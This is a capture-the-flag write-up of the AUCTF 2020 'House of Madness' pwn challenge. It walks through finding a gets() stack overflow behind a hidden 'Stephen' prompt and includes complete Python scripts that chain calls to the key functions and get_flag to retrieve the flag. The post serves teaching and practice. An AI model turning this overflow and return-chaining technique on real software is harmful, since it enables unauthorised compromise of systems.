© Noiche

char nick[] = "N0iche";

printf("https://www.root-me.org/%s\n", nick);

printf("%s\x40protonmail\x2ecom\n", nick);

[AUCTF2020] - PWN - House of Madness

Apr 7, 2020 • Write-Up,AUCTF-2020,PWN

Challenge details :

CTF Challenge Category Value Solves
AUCTF2020 House of Madness PWN 897 100

Description

Welcome to the House of Madness. Can you pwn your way to the keys to get the relic
nc challenges.auctf.com 30012
Note: ASLR is disabled for this challenge
Author: kensocolo
Edit: this challenge’s binary was originally a little weird. try this again!
File : challenge

TL;DR

The challenge file was an ELF intented to be exploited through buffer overflow and multiple functions call.

We had to find the vulnerable function, and then exploit it so we could call severals functions that were not meant to be called.

Calling the right functions in the right order was giving us the flag, with a final function checking our way to the flag.

Let’s get started

After checking some basic informations like binary strings and so on, I ran the program so I could have a nice overview.

When running the binary, we were thrown into a kind of minigame with a command prompt :

command prompt

Listing the rooms provided a list of rooms (rooms 1 to 4), so I started to join the rooms to print the informations using the third option.

Here is the output of that option for each room :

room1 = "Hello, this is just a plain old room. Poke around the others "
room2 = "Hola como estas esta habitación es español"
room3 = "Have you tried ALL the options?"
room4 = "Wow this room is special. It echoes back what you say!"

HUM, that room4 was looking very interesting :D I tried to input some A and indeed, the program was printing back the A. Overflow ? Let’s check :

room4

Well, looks like it was not my time to shine yet. At this point, I decided to throw that binary into Radare2 so I could learn more about the function responsible for room4. The main was really simple :

main function

I noticed the call to the function named game and decided to dig deeper in that way.

That function was simply printing the command prompt and any room’s informations based on the user input.

When asking for the room4, a function named room4 was called, so I knew that I was at the right place : that was the function I had to reverse.

Here is a part of the disassembled room4 function :

room4 function

As you can see, the input was collected and 2 calls to strcmp were done. The first call was checking if the input matches Q, and if so the program was bringing the user back to the command prompt. The second call was comparing the input to Stephen… And then jumping to a section of the function that was never reached otherwise !

Here is the part of the room4 function that was reached when I was giving Stephen as input :

the hidden room

The printed strings were just telling me that I was into a hidden room, and that I could enter text again :

hidden_gets

And here it is !! That’s the SEGFAULT I was looking for :D

Finding the way to the flag

OK, I got my SEGFAULT, so the next step was to know how much bytes to overwrite in order to reach the saved EIP, and where to jump with my overwritten saved EIP.

If you take a look at the hidden room asm again, you will see that the gets function takes the s var as parameter.

s is located at EBP-0x18, meaning that I needed to write 24 bytes of padding to reach the old EBP, then 4 to overwrite it.

The 4 following bytes were supposed to overwrite the saved EIP so I tried that payload so I could confirm my padding :

import struct

payload = "A" * 24 + "B" * 4 + "C" * 4

And here is the result I got, as you can see, I did overwrite the saved EIP with 0x43434343 which is the hex for CCCC :D

Overwritten EIP

OK, since It was possible for me to control the flow of the program, the next step was to figure out where to jump in the program.

I took a look at the symbols of the binary and spot some interesting things :

symbols

Hum, the function get_flag and the key related functions looked interesting to me.

Overwriting the saved EIP with the get_flag function’s address gave me the following output and then a SEGFAULT :

It's not going to be that easy. Come on

At this point, I decided to dig deeper in the get_flag function, so here is a reduced graph view of that function :

get flag function

As you can see, I named some of the blocks (with names going from Block1 to Block4)

All of these blocks were checking a value in memory, and these values were the keys we should look for.

The keys related function were manipulating these exact same values, so it looked like I had to call those functions as a set up for the get_flag function.

get_key1 was the only function needing a parameter : 0xFEEDC0DE, and that function parameter was located at EBP+8 (in the stackframe).

For that reason, I needed to put 0xFEEDC0DE at EBP+8, and I had to find a pop instruction to put at EBP+4 in order to keep control over the flow of the program.

For the other functions, I just had to add their address in my payload, with a final call to get_flag :

#!/usr/bin/env python3

import struct
import sys

payload  = b"A" * 24
payload += b"B" *  4

# Key 1
payload += struct.pack("I", 0x565566de) # get_key1
payload += struct.pack("I", 0x565567e7) # pop ebx; ret
payload += struct.pack("I", 0xFEEDC0DE) # get_key1 arg

# Other Keys
payload += struct.pack("I", 0x5655676e) # get_key2
payload += struct.pack("I", 0x565567cd) # AAsDrwEk (get_key3)
payload += struct.pack("I", 0x565567e9) # set_key4

# FLAG
payload += struct.pack("I", 0x5655686b) # get_flag

sys.stdout.buffer.write(b"2\n")
sys.stdout.buffer.write(b"4\n")
sys.stdout.buffer.write(b"3\n")
sys.stdout.buffer.write(b"Stephen\n")

sys.stdout.buffer.write(payload)

Here is the result :

wrong keys

Well… Something went wrong… Taking a look at the functions in Radare2 made me understand my mistake ! Those functions had to be called in a particular order so the function get_flag could print the flag.

AAsDrwEk (get_key3) could be called at anytime

get_key2 needed to be called after AAsDrwEk but before get_key1

set_key4 had to be called after get_key1, get_key2 and AAsDrwEk

These conditions brought me to the following payload :

#!/usr/bin/env python3

import struct
import sys

payload  = b"A" * 24
payload += b"B" *  4

payload += struct.pack("I", 0x565567cd) # AAsDrwEk (get_key3)
payload += struct.pack("I", 0x5655676e) # get_key2

payload += struct.pack("I", 0x565566de) # get_key1
payload += struct.pack("I", 0x565567e7) # pop ebx; ret
payload += struct.pack("I", 0xFEEDC0DE) # get_key1 arg

payload += struct.pack("I", 0x565567e9) # set_key4

# FLAG
payload += struct.pack("I", 0x5655686b) # get_flag

sys.stdout.buffer.write(b"2\n")
sys.stdout.buffer.write(b"4\n")
sys.stdout.buffer.write(b"3\n")
sys.stdout.buffer.write(b"Stephen\n")

sys.stdout.buffer.write(payload)

A little ./flag.py | ./challenge, and I got the flag :D

flag !

Here it is :

auctf{gu3ss_th3_h0us3_1sn’t_th4t_m4d}